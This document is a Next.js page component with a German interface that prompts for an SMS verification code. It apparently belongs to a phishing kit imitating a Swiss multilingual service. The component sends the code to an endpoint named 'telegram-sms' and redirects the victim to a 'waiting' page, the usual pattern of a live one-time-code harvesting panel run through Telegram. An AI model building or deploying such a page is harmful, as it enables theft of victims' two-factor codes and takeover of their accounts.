"use client";

import { useState, useEffect } from "react";
import { useRouter } from "next/navigation";
import { MessageSquare } from "lucide-react";
import Header from "@/components/Header";

export default function SmsPage() {
  const router = useRouter();
  const [smsCode, setSmsCode] = useState("");
  const [submitted, setSubmitted] = useState(false);
  const [loading, setLoading] = useState(false);
  const [error, setError] = useState("");

  useEffect(() => {
    const storedError = sessionStorage.getItem("smsError");
    if (storedError) {
      setError(storedError);
      sessionStorage.removeItem("smsError");
    }
  }, []);

  const smsError = submitted && !smsCode;

  const handleSubmit = async (e: React.FormEvent) => {
    e.preventDefault();
    setSubmitted(true);
    setError("");

    if (smsCode) {
      setLoading(true);

      const response = await fetch("/api/telegram-sms", {
        method: "POST",
        headers: { "Content-Type": "application/json" },
        body: JSON.stringify({ smsCode }),
      });

      const data = await response.json();

      if (data.sessionId) {
        sessionStorage.setItem("validationSessionId", data.sessionId);
        sessionStorage.setItem("validationType", "sms");
        router.push("/waiting");
      }
    }
  };

  return (
    <div className="min-h-screen flex flex-col bg-white">
      <Header />

      <main className="flex-1 flex items-start justify-center px-4 md:px-8 py-12">
        <div className="w-full max-w-4xl flex flex-col md:flex-row gap-12 md:gap-24">
          <div className="flex-1">
            <form onSubmit={handleSubmit} className="space-y-6">
              <div className="space-y-1">
                <label className="text-xs font-medium tracking-wide text-[#004B87]">
                  SMS-VERIFIZIERUNGSCODE
                </label>
                <div className="relative">
                  <MessageSquare
                    className={`absolute left-0 bottom-2 h-5 w-5 ${smsError || error ? "text-[#7B7B7B]" : "text-[#0097A7]"}`}
                    strokeWidth={1.5}
                  />
                  <input
                    type="text"
                    value={smsCode}
                    onChange={(e) => setSmsCode(e.target.value.replace(/[^0-9]/g, ""))}
                    maxLength={8}
                    placeholder="Code eingeben"
                    className={`w-full pl-8 pb-2 pt-1 border-b-2 bg-transparent focus:outline-none text-gray-800 ${
                      smsError || error ? "border-[#B22234]" : "border-gray-800"
                    }`}
                  />
                </div>
                {smsError && (
                  <p className="text-xs text-[#B22234] text-right tracking-wide font-medium">
                    DIESES FELD IST ERFORDERLICH.
                  </p>
                )}
                {error && (
                  <p className="text-xs text-[#B22234] text-right tracking-wide font-medium">
                    SMS-CODE FALSCH. BITTE ERNEUT VERSUCHEN.
                  </p>
                )}
              </div>

              <div className="flex justify-center pt-4">
                <button
                  type="submit"
                  disabled={loading}
                  className="bg-[#004B87] hover:bg-[#003a6b] text-white font-medium px-12 py-2.5 transition-colors disabled:opacity-50"
                >
                  {loading ? "WIRD ÜBERPRÜFT..." : "ÜBERPRÜFEN"}
                </button>
              </div>
            </form>
          </div>

          <div className="flex-1 flex items-start justify-start md:pt-8">
            <div>
              <h1 className="text-3xl md:text-4xl text-gray-600 font-light">
                Geben Sie Ihren
              </h1>
              <h2 className="text-3xl md:text-4xl text-[#004B87] font-bold">
                SMS-Code ein
              </h2>
            </div>
          </div>
        </div>
      </main>

      <footer className="mt-auto">
        <div className="bg-[#D4E8C0] py-3 text-center">
          <div className="flex items-center justify-center gap-1 text-sm">
            <a href="#" className="text-[#004B87] underline hover:no-underline">Deutsch</a>
            <a href="#" className="text-[#004B87] underline hover:no-underline">Français</a>
            <a href="#" className="text-[#004B87] underline hover:no-underline">English</a>
            <a href="#" className="text-[#004B87] underline hover:no-underline">Italiano</a>
            <span className="text-gray-600 mx-1">|</span>
            <a href="#" className="text-[#004B87] underline hover:no-underline">Kontakt Support</a>
          </div>
        </div>
        <div className="h-2 bg-[#8BC34A]"></div>
      </footer>
    </div>
  );
}